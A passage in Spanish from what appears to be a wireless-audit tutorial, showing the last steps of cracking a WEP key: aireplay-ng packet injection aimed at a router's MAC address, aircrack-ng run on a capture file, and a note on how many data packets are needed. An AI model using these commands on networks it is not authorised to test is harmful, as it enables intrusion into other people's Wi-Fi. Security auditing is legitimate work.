hasta que nos aparezca:

“association sucefull :-)”

6-Abrimos una nueva shell, y escribimos esto:

aireplay-ng -3 –x600 –b MACROUTER –h MACNUESTRA wlan0

(Con esto comenzamos a leer y enviar y recibir paquetes)

7-Abrimos una nueva shell , y escribimos esto:

aircrack-ng [Link]
Solo queda esperar a que aircrack desencripte el archivo de captura, con nombre SAD y
extensión, .cap.

Nota: Importante el nº de Data que se dispongan para poder llevar a cabo la Auditoría Wireless.
Para Pass por defecto de 7 a 20 es posible, de lo contrario si la pass se encuentra modificada, a
partir de 60.000 datas es aconsejable.